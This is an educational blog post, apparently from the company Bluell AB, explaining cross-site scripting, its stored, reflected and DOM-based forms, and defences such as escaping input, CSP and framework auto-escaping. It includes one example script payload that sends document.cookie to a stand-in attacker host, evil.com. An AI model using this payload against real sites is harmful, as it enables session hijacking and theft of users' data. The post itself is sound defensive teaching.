How a Single Line of Code Can Let Hackers Take Over Your Site (The Truth About XSS)

Let’s start with a scary thought: one tiny line of JavaScript that you didn’t write could give a hacker full access to your users’ sessions, sensitive data, or even admin control.
Sounds like a movie plot, right? It’s not.
It’s called Cross-Site Scripting, or XSS — and yes, it’s that dangerous. Today, I want to walk you through what it is, how it works, and what you can do to protect your site from it.
What Is Cross-Site Scripting (XSS)?
Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts into webpages. When users visit these pages, the scripts run, and the users are often unaware of it.
The hacker’s code can:
Steal cookies and hijack sessions
Deface your site
Redirect users to malicious websites
Perform actions on behalf of the user (think: posting, deleting, or changing data)
The worst part? XSS often hides in plain sight, in user comments, search boxes, or even form fields.
How Does One Line of Code Do So Much Damage?
Let’s say you have a simple blog with a comment form. A user (or so you think) enters this into the comment box:
<script>
fetch('https://evil.com?cookie=' + document.cookie)
</script>
If your app renders that comment without sanitizing it, it runs the script for every visitor who reads it. That attacker now has access to all those users’ cookies, which often include login tokens.
Just. Like. That.
Types of XSS Attacks You Should Know
There are a few flavors of XSS, and each is sneaky in its own way:
1. Stored XSS
This is when the script is permanently stored on your server — in a database, for example. Every time the page loads, the script runs. Think comment sections, profile bios, etc.
2. Reflected XSS
This happens when the malicious script is part of the URL and is immediately reflected by the server in the response. Common in search pages or error messages.
3. DOM-Based XSS
This one happens entirely in the browser via JavaScript. No server-side involvement. It’s harder to detect but just as dangerous.
How Do Hackers Use XSS in the Real World?
XSS isn’t just academic, it’s actively exploited. Here's a scenario:
A food delivery startup forgot to sanitize its user profile bios. An attacker inserted an XSS payload in their own profile. When a customer service rep viewed the profile, the script silently stole their session and gave the attacker backend access. They ended up leaking hundreds of user addresses and orders.
All from one overlooked input field.
Why Is XSS Still So Common?
A few reasons:
Developers underestimate how dangerous it is.
Input validation gets ignored under time pressure.
Some frameworks (like plain HTML/JS) don’t auto-protect you.
It's easy to miss during manual testing.
How to Protect Your Site from XSS
You can prevent XSS with some discipline and smart practices.
1. Sanitize and Escape User Input
Never trust user input; always sanitize and escape it before rendering. Use libraries like DOMPurify for rich text or HTML content.
2. Use Content Security Policy (CSP)
CSP is a browser-level feature that tells browsers which scripts are allowed to run. Even if a script sneaks in, CSP can block it.
3. Avoid Inline JavaScript
Don’t use onclick, onmouseover, or inline <script> tags with user data. Keep your scripts in external files.
4. Use Trusted Frameworks
Frameworks like React, Vue, or Angular automatically escape data bindings. Use them to your advantage — don’t bypass them with dangerouslySetInnerHTML unless you really know what you're doing.
5. Audit Your Code Regularly
Tools like ESLint (with security plugins), CodeQL, or Snyk can help detect vulnerabilities during development.
Final Thoughts
XSS is everyone’s responsibility: designers, product owners, QA, and backend folks too. Because of that one line of malicious code? It won’t care who was supposed to handle it.
Stay sharp. Sanitize everything. And don’t let one line of code be the reason someone takes over your site. If you're working on a frontend project and want a second pair of eyes to review it for vulnerabilities, feel free to reach out. At Bluell AB, we help teams refactor, secure, and scale their applications — without cutting corners.
I published this article on LinkedIn, and I'm sharing it here for educational and informational purposes only.
Subscribe to my newsletter
Read articles from Bluell AB directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
